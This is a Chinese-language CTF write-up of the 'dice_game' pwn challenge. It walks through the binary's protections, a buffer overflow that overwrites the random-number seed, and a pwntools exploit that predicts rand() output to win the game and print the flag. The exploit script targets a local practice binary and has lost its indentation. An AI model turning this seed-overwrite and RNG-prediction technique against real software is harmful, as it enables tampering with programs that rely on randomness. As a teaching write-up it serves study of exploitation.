由於考研等種種原因,好久沒有看pwn題了,這兩天熟悉了一下,繼續研究哈
這次分析的是攻防世界上的pwn練習題dice_game,可能太久沒看pwn題了,已經有點忘記思路了,今天就當回顧一下啦
首先我們在ubuntu中看一下可執行文件基本信息:
沒有canary保護,啓用了棧不可執行,pie保護措施。64bit的elf文件,並且stripped
我們先嚐試運行一下,看看程序功能,然後直接丟進IDA,分析代碼:
主函數是這樣的,我們可以明顯地發現存在緩衝區溢出漏洞,開始的時候我在想能不能直接覆蓋掉返回地址,還琢磨了半天,果然是許久沒看,手生了哈
buf偏移爲0x50,read的最大字節數也是0x50,因此不可能覆蓋到ret地址
然後我們接着看函數sub_B28()是用來打印flag的,重點在sub_A20,返回值一直是1即可,我們看一下具體代碼:
我們看到它使用了隨機數,那麼我們就要看看隨機數的種子能不能控制。看到之前seed在0x10處,有希望,開始着手寫exp:
# 2020/6/16
# dice_game
from pwn import *
from ctypes import *
context.log_level = 'debug'
p = process("/home/tucker/ctf/pwn/dice_game/dice_game")
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload = "a" * 0x40 + p64(1)
p.sendline(payload)
a = []
for i in range(50):
a.append(libc.rand() % 6 + 1)
print(a)
for i in a:
p.recv()
# print(p.recv())
p.sendline(str(i))
p.interactive()
其中說明一下:ctypes是python的一個庫,導出了cdll函數,允許調用共享庫中的函數。